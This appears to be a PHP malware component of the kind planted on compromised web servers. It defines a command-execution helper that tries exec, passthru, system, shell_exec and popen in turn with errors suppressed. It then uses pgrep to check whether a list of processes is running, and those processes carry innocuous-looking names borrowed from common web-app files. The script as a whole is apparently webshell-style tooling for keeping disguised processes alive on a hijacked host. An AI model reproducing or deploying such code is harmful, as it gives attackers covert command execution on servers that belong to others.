<?php   $files = ['jpgraph_iconplot','action.transfer','removeFields','staff_buttons','tell_a_friend','AddBaseName','edit_link','FrameTarget','simpletest','evennews_blocks','usercp_register','cache_smilies','toolbar.checkin','quickqueries.inc','javaUpload','index.down','contact_us','cp.trackback','MasterGoals','tohtml.inc','edit_categ','layout_up','sampleform.inc','upload_bak','finnish_mimes','NestedTree','ricette_pdf','forms_setup','bookmark.lib','album_page']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }